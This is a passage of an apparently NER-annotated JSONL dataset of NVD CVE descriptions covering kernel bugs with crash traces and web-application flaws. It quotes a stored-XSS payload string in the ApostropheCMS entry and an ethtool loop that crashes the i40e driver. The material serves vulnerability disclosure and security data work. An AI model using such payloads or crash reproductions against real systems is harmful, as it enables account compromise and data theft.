807.988574] pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  807.988608] pc : set_fan_speed.part.5+0x34/0x80 [gpio_fan]\n[  807.988654] lr : gpio_fan_set_cur_state+0x34/0x50 [gpio_fan]\n[  807.988691] sp : ffffffc008cf3bd0\n[  807.988710] x29: ffffffc008cf3bd0 x28: ffffff80019edac0 x27: 0000000000000000\n[  807.988762] x26: 0000000000000000 x25: 0000000000000000 x24: ffffff800747c920\n[  807.988787] x23: 000000000000000a x22: ffffff800369f000 x21: 000000001999997c\n[  807.988854] x20: ffffff800369f2e8 x19: ffffff8002ae8080 x18: 0000000000000000\n[  807.988877] x17: 0000000000000000 x16: 0000000000000000 x15: 000000559e271b70\n[  807.988938] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n[  807.988960] x11: 0000000000000000 x10: ffffffc008cf3c20 x9 : ffffffcfb60c741c\n[  807.989018] x8 : 000000000000000a x7 : 00000000ffffffc9 x6 : 0000000000000009\n[  807.989040] x5 : 000000000000002a x4 : 0000000000000000 x3 : ffffff800369f2e8\n[  807.989062] x2 : 000000000000e780 x1 : 0000000000000001 x0 : ffffff80d0588060\n[  807.989084] Call trace:\n[  807.989091]  set_fan_speed.part.5+0x34/0x80 [gpio_fan]\n[  807.989113]  gpio_fan_set_cur_state+0x34/0x50 [gpio_fan]\n[  807.989199]  cur_state_store+0x84/0xd0\n[  807.989221]  dev_attr_store+0x20/0x38\n[  807.989262]  sysfs_kf_write+0x4c/0x60\n[  807.989282]  kernfs_fop_write_iter+0x130/0x1c0\n[  807.989298]  new_sync_write+0x10c/0x190\n[  807.989315]  vfs_write+0x254/0x378\n[  807.989362]  ksys_write+0x70/0xf8\n[  807.989379]  __arm64_sys_write+0x24/0x30\n[  807.989424]  invoke_syscall+0x4c/0x110\n[  807.989442]  el0_svc_common.constprop.3+0xfc/0x120\n[  807.989458]  do_el0_svc+0x2c/0x90\n[  807.989473]  el0_svc+0x24/0x60\n[  807.989544]  el0t_64_sync_handler+0x90/0xb8\n[  807.989558]  el0t_64_sync+0x1a0/0x1a4\n[  807.989579] Code: b9403801 f9402800 7100003f 8b35cc00 (b9400416)\n[  807.989627] ---[ end t\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out of bounds access": [[97, 117]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49945"}}
{"text": "Homarr is an open-source dashboard. Prior to 1.57.0, the user registration endpoint (/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token. The registration flow performs three sequential database operations without a transaction: CHECK, CREATE, and DELETE. Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use. This vulnerability is fixed in 1.57.0.", "spans": {"FILEPATH: /api/trpc/user.register": [[85, 108]], "VULNERABILITY: race condition": [[129, 143]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32602"}}
{"text": "Vulnerability in the Java SE product of Oracle Java SE (component: JSSE). Supported versions that are affected are Java SE: 11.0.5 and 13.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE accessible data as well as unauthorized read access to a subset of Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets (in Java SE 8), that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [47, 51], [115, 119], [254, 258], [374, 378], [449, 453], [510, 514], [567, 571], [608, 612], [625, 629], [728, 732]], "ORGANIZATION: Oracle": [[40, 46]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2655"}}
{"text": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as \"></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.", "spans": {"FILEPATH: Node.js": [[32, 39]], "ORGANIZATION: Meta": [[182, 186]], "VULNERABILITY: cross-site scripting": [[110, 130]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35569"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: Fix DMA mappings leak\n\nDuring reallocation of RX buffers, new DMA mappings are created for\nthose buffers.\n\nsteps for reproduction:\nwhile :\ndo\nfor ((i=0; i<=8160; i=i+32))\ndo\nethtool -G enp130s0f0 rx $i tx $i\nsleep 0.5\nethtool -g enp130s0f0\ndone\ndone\n\nThis resulted in crash:\ni40e 0000:01:00.1: Unable to allocate memory for the Rx descriptor ring, size=65536\nDriver BUG\nWARNING: CPU: 0 PID: 4300 at net/core/xdp.c:141 xdp_rxq_info_unreg+0x43/0x50\nCall Trace:\ni40e_free_rx_resources+0x70/0x80 [i40e]\ni40e_set_ringparam+0x27c/0x800 [i40e]\nethnl_set_rings+0x1b2/0x290\ngenl_family_rcv_msg_doit.isra.15+0x10f/0x150\ngenl_family_rcv_msg+0xb3/0x160\n? rings_fill_reply+0x1a0/0x1a0\ngenl_rcv_msg+0x47/0x90\n? genl_family_rcv_msg+0x160/0x160\nnetlink_rcv_skb+0x4c/0x120\ngenl_rcv+0x24/0x40\nnetlink_unicast+0x196/0x230\nnetlink_sendmsg+0x204/0x3d0\nsock_sendmsg+0x4c/0x50\n__sys_sendto+0xee/0x160\n? handle_mm_fault+0xbe/0x1e0\n? syscall_trace_enter+0x1d3/0x2c0\n__x64_sys_sendto+0x24/0x30\ndo_syscall_64+0x5b/0x1a0\nentry_SYSCALL_64_after_hwframe+0x65/0xca\nRIP: 0033:0x7f5eac8b035b\nMissing register, driver bug\nWARNING: CPU: 0 PID: 4300 at net/core/xdp.c:119 xdp_rxq_info_unreg_mem_model+0x69/0x140\nCall Trace:\nxdp_rxq_info_unreg+0x1e/0x50\ni40e_free_rx_resources+0x70/0x80 [i40e]\ni40e_set_ringparam+0x27c/0x800 [i40e]\nethnl_set_rings+0x1b2/0x290\ngenl_family_rcv_msg_doit.isra.15+0x10f/0x150\ngenl_family_rcv_msg+0xb3/0x160\n? rings_fill_reply+0x1a0/0x1a0\ngenl_rcv_msg+0x47/0x90\n? genl_family_rcv_msg+0x160/0x160\nnetlink_rcv_skb+0x4c/0x120\ngenl_rcv+0x24/0x40\nnetlink_unicast+0x196/0x230\nnetlink_sendmsg+0x204/0x3d0\nsock_sendmsg+0x4c/0x50\n__sys_sendto+0xee/0x160\n? handle_mm_fault+0xbe/0x1e0\n? syscall_trace_enter+0x1d3/0x2c0\n__x64_sys_sendto+0x24/0x30\ndo_syscall_64+0x5b/0x1a0\nentry_SYSCALL_64_after_hwframe+0x65/0xca\nRIP: 0033:0x7f5eac8b035b\n\nThis was caused because of new buffers with different RX ring count should\nsubstitute older ones, but those buffers were freed in\ni40e_configure_rx_ring and reallocated again with i40e_alloc_rx_bi,\nthus kfree on rx_bi caused leak of already mapped DMA.\n\nFix this by reallocating ZC with rx_bi_zc struct when BPF program loads. Additionally\nreallocate back to rx_bi when BPF program unloads.\n\nIf BPF program is loaded/unloaded and XSK pools are created, reallocate\nRX queues accordingly in XSP_SETUP_XSK_POOL handler.", "spans": {"FILEPATH: /core/xdp.c": [[477, 488], [1195, 1206]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50679"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirewire: fix memory leak for payload of request subaction to IEC 61883-1 FCP region\n\nThis patch is fix for Linux kernel v2.6.33 or later.\n\nFor request subaction to IEC 61883-1 FCP region, Linux FireWire subsystem\nhave had an issue of use-after-free. The subsystem allows multiple\nuser space listeners to the region, while data of the payload was likely\nreleased before the listeners execute read(2) to access to it for copying\nto user space.\n\nThe issue was fixed by a commit 281e20323ab7 (\"firewire: core: fix\nuse-after-free regression in FCP handler\"). The object of payload is\nduplicated in kernel space for each listener. When the listener executes\nioctl(2) with FW_CDEV_IOC_SEND_RESPONSE request, the object is going to\nbe released.\n\nHowever, it causes memory leak since the commit relies on call of\nrelease_request() in drivers/firewire/core-cdev.c. Against the\nexpectation, the function is never called due to the design of\nrelease_client_resource(). The function delegates release task\nto caller when called with non-NULL fourth argument. The implementation\nof ioctl_send_response() is the case. It should release the object\nexplicitly.\n\nThis commit fixes the bug.", "spans": {"FILEPATH: /firewire/core-cdev.c.": [[902, 924]], "SYSTEM: Linux kernel": [[7, 19], [177, 189]], "SYSTEM: Linux": [[258, 263]], "VULNERABILITY: use-after-free": [[304, 318], [580, 594]], "VULNERABILITY: memory leak": [[83, 94], [827, 838]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52989"}}
{"text": "An issue was discovered by Elastic whereby sensitive information may be recorded in Kibana logs in the event of an error or in the event where debug level logging is enabled in Kibana. Elastic has released Kibana 8.11.2 which resolves this issue. The messages recorded in the log may contain Account credentials for the kibana_system user, API Keys, and credentials of Kibana end-users, Elastic Security package policy objects which can contain private keys, bearer token, and sessions of 3rd-party integrations and finally Authorization headers, client secrets, local file paths, and stack traces. The issue may occur in any Kibana instance running an affected version that could potentially receive an unexpected error when communicating to Elasticsearch causing it to include sensitive data into Kibana error logs. It could also occur under specific circumstances when debug level logging is enabled in Kibana. Note: It was found that the fix for ESA-2023-25 in Kibana 8.11.1 for a similar issue was incomplete.", "spans": {"SYSTEM: Elasticsearch": [[743, 756]], "SYSTEM: Kibana": [[84, 90], [177, 183], [206, 212], [369, 375], [626, 632], [799, 805], [906, 912], [965, 971]], "ORGANIZATION: Elastic": [[27, 34], [185, 192], [387, 394]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46675"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: Properly hide first-in-list PCIe extended capability\n\nThere are cases where a PCIe extended capability should be hidden from\nthe user. For example, an unknown capability (i.e., capability with ID\ngreater than PCI_EXT_CAP_ID_MAX) or a capability that is intentionally\nchosen to be hidden from the user.\n\nHiding a capability is done by virtualizing and modifying the 'Next\nCapability Offset' field of the previous capability so it points to the\ncapability after the one that should be hidden.\n\nThe special case where the first capability in the list should be hidden\nis handled differently because there is no previous capability that can\nbe modified. In this case, the capability ID and version are zeroed\nwhile leaving the next pointer intact. This hides the capability and\nleaves an anchor for the rest of the capability list.\n\nHowever, today, hiding the first capability in the list is not done\nproperly if the capability is unknown, as struct\nvfio_pci_core_device->pci_config_map is set to the capability ID during\ninitialization but the capability ID is not properly checked later when\nused in vfio_config_do_rw(). This leads to the following warning [1] and\nto an out-of-bounds access to ecap_perms array.\n\nFix it by checking cap_id in vfio_config_do_rw(), and if it is greater\nthan PCI_EXT_CAP_ID_MAX, use an alternative struct perm_bits for direct\nread only access instead of the ecap_perms array.\n\nNote that this is safe since the above is the only case where cap_id can\nexceed PCI_EXT_CAP_ID_MAX (except for the special capabilities, which\nare already checked before).\n\n[1]\n\nWARNING: CPU: 118 PID: 5329 at drivers/vfio/pci/vfio_pci_config.c:1900 vfio_pci_config_rw+0x395/0x430 [vfio_pci_core]\nCPU: 118 UID: 0 PID: 5329 Comm: simx-qemu-syste Not tainted 6.12.0+ #1\n(snip)\nCall Trace:\n <TASK>\n ? show_regs+0x69/0x80\n ? __warn+0x8d/0x140\n ? vfio_pci_config_rw+0x395/0x430 [vfio_pci_core]\n ? report_bug+0x18f/0x1a0\n ? handle_bug+0x63/0xa0\n ? exc_invalid_op+0x19/0x70\n ? asm_exc_invalid_op+0x1b/0x20\n ? vfio_pci_config_rw+0x395/0x430 [vfio_pci_core]\n ? vfio_pci_config_rw+0x244/0x430 [vfio_pci_core]\n vfio_pci_rw+0x101/0x1b0 [vfio_pci_core]\n vfio_pci_core_read+0x1d/0x30 [vfio_pci_core]\n vfio_device_fops_read+0x27/0x40 [vfio]\n vfs_read+0xbd/0x340\n ? vfio_device_fops_unl_ioctl+0xbb/0x740 [vfio]\n ? __rseq_handle_notify_resume+0xa4/0x4b0\n __x64_sys_pread64+0x96/0xc0\n x64_sys_call+0x1c3d/0x20d0\n do_syscall_64+0x4d/0x120\n entry_SYSCALL_64_after_hwframe+0x76/0x7e", "spans": {"FILEPATH: /vfio/pci/vfio_pci_config.c": [[1701, 1728]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[1248, 1268]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53214"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/sseu: fix max_subslices array-index-out-of-bounds access\n\nIt seems that commit bc3c5e0809ae (\"drm/i915/sseu: Don't try to store EU\nmask internally in UAPI format\") exposed a potential out-of-bounds\naccess, reported by UBSAN as following on a laptop with a gen 11 i915\ncard:\n\n  UBSAN: array-index-out-of-bounds in drivers/gpu/drm/i915/gt/intel_sseu.c:65:27\n  index 6 is out of range for type 'u16 [6]'\n  CPU: 2 PID: 165 Comm: systemd-udevd Not tainted 6.2.0-9-generic #9-Ubuntu\n  Hardware name: Dell Inc. XPS 13 9300/077Y9N, BIOS 1.11.0 03/22/2022\n  Call Trace:\n   <TASK>\n   show_stack+0x4e/0x61\n   dump_stack_lvl+0x4a/0x6f\n   dump_stack+0x10/0x18\n   ubsan_epilogue+0x9/0x3a\n   __ubsan_handle_out_of_bounds.cold+0x42/0x47\n   gen11_compute_sseu_info+0x121/0x130 [i915]\n   intel_sseu_info_init+0x15d/0x2b0 [i915]\n   intel_gt_init_mmio+0x23/0x40 [i915]\n   i915_driver_mmio_probe+0x129/0x400 [i915]\n   ? intel_gt_probe_all+0x91/0x2e0 [i915]\n   i915_driver_probe+0xe1/0x3f0 [i915]\n   ? drm_privacy_screen_get+0x16d/0x190 [drm]\n   ? acpi_dev_found+0x64/0x80\n   i915_pci_probe+0xac/0x1b0 [i915]\n   ...\n\nAccording to the definition of sseu_dev_info, eu_mask->hsw is limited to\na maximum of GEN_MAX_SS_PER_HSW_SLICE (6) sub-slices, but\ngen11_sseu_info_init() can potentially set 8 sub-slices, in the\n!IS_JSL_EHL(gt->i915) case.\n\nFix this by reserving up to 8 slots for max_subslices in the eu_mask\nstruct.\n\n(cherry picked from commit 3cba09a6ac86ea1d456909626eb2685596c07822)", "spans": {"HASH: 3cba09a6ac86ea1d456909626eb2685596c07822": [[1502, 1542]], "FILEPATH: /i915/sseu": [[72, 82], [175, 185]], "FILEPATH: /gpu/drm/i915/gt/intel_sseu.c": [[398, 427]], "FILEPATH: /22/2022": [[616, 624]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[503, 510]], "ORGANIZATION: Ubuntu": [[548, 554]], "ORGANIZATION: Dell": [[572, 576]], "VULNERABILITY: out-of-bounds access": [[114, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53112"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: send: fix buffer overflow detection when copying path to cache entry\n\nStarting with commit c0247d289e73 (\"btrfs: send: annotate struct\nname_cache_entry with __counted_by()\") we annotated the variable length\narray \"name\" from the name_cache_entry structure with __counted_by() to\nimprove overflow detection. However that alone was not correct, because\nthe length of that array does not match the \"name_len\" field - it matches\nthat plus 1 to include the NUL string terminator, so that makes a\nfortified kernel think there's an overflow and report a splat like this:\n\n  strcpy: detected buffer overflow: 20 byte write of buffer size 19\n  WARNING: CPU: 3 PID: 3310 at __fortify_report+0x45/0x50\n  CPU: 3 UID: 0 PID: 3310 Comm: btrfs Not tainted 6.11.0-prnet #1\n  Hardware name: CompuLab Ltd.  sbc-ihsw/Intense-PC2 (IPC2), BIOS IPC2_3.330.7 X64 03/15/2018\n  RIP: 0010:__fortify_report+0x45/0x50\n  Code: 48 8b 34 (...)\n  RSP: 0018:ffff97ebc0d6f650 EFLAGS: 00010246\n  RAX: 7749924ef60fa600 RBX: ffff8bf5446a521a RCX: 0000000000000027\n  RDX: 00000000ffffdfff RSI: ffff97ebc0d6f548 RDI: ffff8bf84e7a1cc8\n  RBP: ffff8bf548574080 R08: ffffffffa8c40e10 R09: 0000000000005ffd\n  R10: 0000000000000004 R11: ffffffffa8c70e10 R12: ffff8bf551eef400\n  R13: 0000000000000000 R14: 0000000000000013 R15: 00000000000003a8\n  FS:  00007fae144de8c0(0000) GS:ffff8bf84e780000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007fae14691690 CR3: 00000001027a2003 CR4: 00000000001706f0\n  Call Trace:\n   <TASK>\n   ? __warn+0x12a/0x1d0\n   ? __fortify_report+0x45/0x50\n   ? report_bug+0x154/0x1c0\n   ? handle_bug+0x42/0x70\n   ? exc_invalid_op+0x1a/0x50\n   ? asm_exc_invalid_op+0x1a/0x20\n   ? __fortify_report+0x45/0x50\n   __fortify_panic+0x9/0x10\n  __get_cur_name_and_parent+0x3bc/0x3c0\n   get_cur_path+0x207/0x3b0\n   send_extent_data+0x709/0x10d0\n   ? find_parent_nodes+0x22df/0x25d0\n   ? mas_nomem+0x13/0x90\n   ? mtree_insert_range+0xa5/0x110\n   ? btrfs_lru_cache_store+0x5f/0x1e0\n   ? iterate_extent_inodes+0x52d/0x5a0\n   process_extent+0xa96/0x11a0\n   ? __pfx_lookup_backref_cache+0x10/0x10\n   ? __pfx_store_backref_cache+0x10/0x10\n   ? __pfx_iterate_backrefs+0x10/0x10\n   ? __pfx_check_extent_item+0x10/0x10\n   changed_cb+0x6fa/0x930\n   ? tree_advance+0x362/0x390\n   ? memcmp_extent_buffer+0xd7/0x160\n   send_subvol+0xf0a/0x1520\n   btrfs_ioctl_send+0x106b/0x11d0\n   ? __pfx___clone_root_cmp_sort+0x10/0x10\n   _btrfs_ioctl_send+0x1ac/0x240\n   btrfs_ioctl+0x75b/0x850\n   __se_sys_ioctl+0xca/0x150\n   do_syscall_64+0x85/0x160\n   ? __count_memcg_events+0x69/0x100\n   ? handle_mm_fault+0x1327/0x15c0\n   ? __se_sys_rt_sigprocmask+0xf1/0x180\n   ? syscall_exit_to_user_mode+0x75/0xa0\n   ? do_syscall_64+0x91/0x160\n   ? do_user_addr_fault+0x21d/0x630\n  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  RIP: 0033:0x7fae145eeb4f\n  Code: 00 48 89 (...)\n  RSP: 002b:00007ffdf1cb09b0 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n  RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 00007fae145eeb4f\n  RDX: 00007ffdf1cb0ad0 RSI: 0000000040489426 RDI: 0000000000000004\n  RBP: 00000000000078fe R08: 00007fae144006c0 R09: 00007ffdf1cb0927\n  R10: 0000000000000008 R11: 0000000000000246 R12: 00007ffdf1cb1ce8\n  R13: 0000000000000003 R14: 000055c499fab2e0 R15: 0000000000000004\n   </TASK>\n\nFix this by not storing the NUL string terminator since we don't actually\nneed it for name cache entries, this way \"name_len\" corresponds to the\nactual size of the \"name\" array. This requires marking the \"name\" array\nfield with __nonstring and using memcpy() instead of strcpy() as\nrecommended by the guidelines at:\n\n   https://github.com/KSPP/linux/issues/90", "spans": {"URL: https://github.com/KSPP/linux/issues/90": [[3670, 3709]], "FILEPATH: /15/2018": [[918, 926]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[86, 101], [660, 675]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49869"}}
{"text": "Nuxt is an open-source web development framework for Vue.js. Prior to 3.19.0 and 4.1.0, A client-side path traversal vulnerability in Nuxt's Island payload revival mechanism allowed attackers to manipulate client-side requests to different endpoints within the same application domain when specific prerendering conditions are met. The vulnerability occurs in the client-side payload revival process (revive-payload.client.ts) where Nuxt Islands are automatically fetched when encountering serialized __nuxt_island objects. During prerendering, if an API endpoint returns user-controlled data containing a crafted __nuxt_island object, he data gets serialized with devalue.stringify and stored in the prerendered page. When a client navigates to the prerendered page, devalue.parse deserializes the payload. The Island reviver attempts to fetch /__nuxt_island/${key}.json where key could contain path traversal sequences. Update to Nuxt 3.19.0+ or 4.1.0+.", "spans": {"FILEPATH: Vue.js": [[53, 59]], "VULNERABILITY: path traversal": [[102, 116], [896, 910]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59414"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: zoned: do not flag ZEROOUT on non-dirty extent buffer\n\nBtrfs clears the content of an extent buffer marked as\nEXTENT_BUFFER_ZONED_ZEROOUT before the bio submission. This mechanism is\nintroduced to prevent a write hole of an extent buffer, which is once\nallocated, marked dirty, but turns out unnecessary and cleaned up within\none transaction operation.\n\nCurrently, btrfs_clear_buffer_dirty() marks the extent buffer as\nEXTENT_BUFFER_ZONED_ZEROOUT, and skips the entry function. If this call\nhappens while the buffer is under IO (with the WRITEBACK flag set,\nwithout the DIRTY flag), we can add the ZEROOUT flag and clear the\nbuffer's content just before a bio submission. As a result:\n\n1) it can lead to adding faulty delayed reference item which leads to a\n   FS corrupted (EUCLEAN) error, and\n\n2) it writes out cleared tree node on disk\n\nThe former issue is previously discussed in [1]. The corruption happens\nwhen it runs a delayed reference update. So, on-disk data is safe.\n\n[1] https://lore.kernel.org/linux-btrfs/3f4f2a0ff1a6c818050434288925bdcf3cd719e5.1709124777.git.naohiro.aota@wdc.com/\n\nThe latter one can reach on-disk data. But, as that node is already\nprocessed by btrfs_clear_buffer_dirty(), that will be invalidated in the\nnext transaction commit anyway. So, the chance of hitting the corruption\nis relatively small.\n\nAnyway, we should skip flagging ZEROOUT on a non-DIRTY extent buffer, to\nkeep the content under IO intact.", "spans": {"URL: https://lore.kernel.org/linux-btrfs/3f4f2a0ff1a6c818050434288925bdcf3cd719e5.1709124777.git.naohiro.aota@wdc.com/": [[1060, 1173]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36027"}}
{"text": "ZITADEL is an open source identity management platform. Zitadel Action V2 (introduced as early preview in 2.59.0, beta in 3.0.0 and GA in 4.0.0) is a webhook based approach to allow developers act on API request to Zitadel and customize flows such the issue of a token. Zitadel's Action target URLs can point to local hosts, potentially allowing adversaries to gather internal network information and connect to internal services. When the URL points to a local host / IP address, an adversary might gather information about the internal network structure, the services exposed on internal hosts etc. This is sometimes called a Server-Side Request Forgery (SSRF). Zitadel Actions expect responses according to specific schemas, which reduces the threat vector. The patch in version 4.11.1 resolves the issue by checking the target URL against a denylist. By default localhost, resp. loopback IPs are denied. Note that this fix was only released on v4.x. Due to the stage (preview / beta) in which the functionality was in v2.x and v3.x, the changes that have been applied to it since then and the severity, respectively the actual thread vector, a backport to the corresponding versions was not feasible. Please check the workaround section for alternative solutions if an upgrade to v4.x is not possible. If an upgrade is not possible, prevent actions from using unintended endpoints by setting network policies or firewall rules in one's own infrastructure. Note that this is outside of the functionality provided by Zitadel.", "spans": {"VULNERABILITY: Server-Side Request Forgery": [[628, 655]], "VULNERABILITY: SSRF": [[657, 661]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27945"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race when deleting quota root from the dirty cow roots list\n\nWhen disabling quotas we are deleting the quota root from the list\nfs_info->dirty_cowonly_roots without taking the lock that protects it,\nwhich is struct btrfs_fs_info::trans_lock. This unsynchronized list\nmanipulation may cause chaos if there's another concurrent manipulation\nof this list, such as when adding a root to it with\nctree.c:add_root_to_dirty_list().\n\nThis can result in all sorts of weird failures caused by a race, such as\nthe following crash:\n\n  [337571.278245] general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] PREEMPT SMP PTI\n  [337571.278933] CPU: 1 PID: 115447 Comm: btrfs Tainted: G        W          6.4.0-rc6-btrfs-next-134+ #1\n  [337571.279153] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n  [337571.279572] RIP: 0010:commit_cowonly_roots+0x11f/0x250 [btrfs]\n  [337571.279928] Code: 85 38 06 00 (...)\n  [337571.280363] RSP: 0018:ffff9f63446efba0 EFLAGS: 00010206\n  [337571.280582] RAX: ffff942d98ec2638 RBX: ffff9430b82b4c30 RCX: 0000000449e1c000\n  [337571.280798] RDX: dead000000000100 RSI: ffff9430021e4900 RDI: 0000000000036070\n  [337571.281015] RBP: ffff942d98ec2000 R08: ffff942d98ec2000 R09: 000000000000015b\n  [337571.281254] R10: 0000000000000009 R11: 0000000000000001 R12: ffff942fe8fbf600\n  [337571.281476] R13: ffff942dabe23040 R14: ffff942dabe20800 R15: ffff942d92cf3b48\n  [337571.281723] FS:  00007f478adb7340(0000) GS:ffff94349fa40000(0000) knlGS:0000000000000000\n  [337571.281950] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  [337571.282184] CR2: 00007f478ab9a3d5 CR3: 000000001e02c001 CR4: 0000000000370ee0\n  [337571.282416] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  [337571.282647] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  [337571.282874] Call Trace:\n  [337571.283101]  <TASK>\n  [337571.283327]  ? __die_body+0x1b/0x60\n  [337571.283570]  ? die_addr+0x39/0x60\n  [337571.283796]  ? exc_general_protection+0x22e/0x430\n  [337571.284022]  ? asm_exc_general_protection+0x22/0x30\n  [337571.284251]  ? commit_cowonly_roots+0x11f/0x250 [btrfs]\n  [337571.284531]  btrfs_commit_transaction+0x42e/0xf90 [btrfs]\n  [337571.284803]  ? _raw_spin_unlock+0x15/0x30\n  [337571.285031]  ? release_extent_buffer+0x103/0x130 [btrfs]\n  [337571.285305]  reset_balance_state+0x152/0x1b0 [btrfs]\n  [337571.285578]  btrfs_balance+0xa50/0x11e0 [btrfs]\n  [337571.285864]  ? __kmem_cache_alloc_node+0x14a/0x410\n  [337571.286086]  btrfs_ioctl+0x249a/0x3320 [btrfs]\n  [337571.286358]  ? mod_objcg_state+0xd2/0x360\n  [337571.286577]  ? refill_obj_stock+0xb0/0x160\n  [337571.286798]  ? seq_release+0x25/0x30\n  [337571.287016]  ? __rseq_handle_notify_resume+0x3ba/0x4b0\n  [337571.287235]  ? percpu_counter_add_batch+0x2e/0xa0\n  [337571.287455]  ? __x64_sys_ioctl+0x88/0xc0\n  [337571.287675]  __x64_sys_ioctl+0x88/0xc0\n  [337571.287901]  do_syscall_64+0x38/0x90\n  [337571.288126]  entry_SYSCALL_64_after_hwframe+0x72/0xdc\n  [337571.288352] RIP: 0033:0x7f478aaffe9b\n\nSo fix this by locking struct btrfs_fs_info::trans_lock before deleting\nthe quota root from that list.", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[911, 955]], "FILEPATH: /01/2014": [[958, 966]], "FILEPATH: ctree.c": [[471, 478]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[866, 870]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54032"}}
{"text": "On EX4300, EX4600, QFX3500, and QFX5100 Series, a vulnerability in the IP firewall filter component may cause the firewall filter evaluation of certain packets to fail. This issue only affects firewall filter evaluation of certain packets destined to the device Routing Engine (RE). This issue does not affect the Layer 2 firewall filter evaluation nor does it affect the Layer 3 firewall filter evaluation destined to connected hosts. This issue may occur when evaluating both IPv4 or IPv6 packets. This issue affects Juniper Networks Junos OS: 14.1X53 versions prior to 14.1X53-D12 on QFX5100 Series and EX4600 Series; 14.1X53 versions prior to 14.1X53-D52 on QFX3500 Series; 14.1X53 versions prior to 14.1X53-D48 on EX4300 Series; 15.1 versions prior to 15.1R7-S3 on EX4300 Series; 16.1 versions prior to 16.1R7 on EX4300 Series; 17.1 versions prior to 17.1R3 on EX4300 Series; 17.2 versions prior to 17.2R3 on EX4300 Series; 17.3 versions prior to 17.3R2-S5, 17.3R3 on EX4300 Series; 17.4 versions prior to 17.4R2 on EX4300 Series; 18.1 versions prior to 18.1R3 on EX4300 Series; 18.2 versions prior to 18.2R2 on EX4300 Series.", "spans": {"ORGANIZATION: Juniper": [[519, 526]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1604"}}
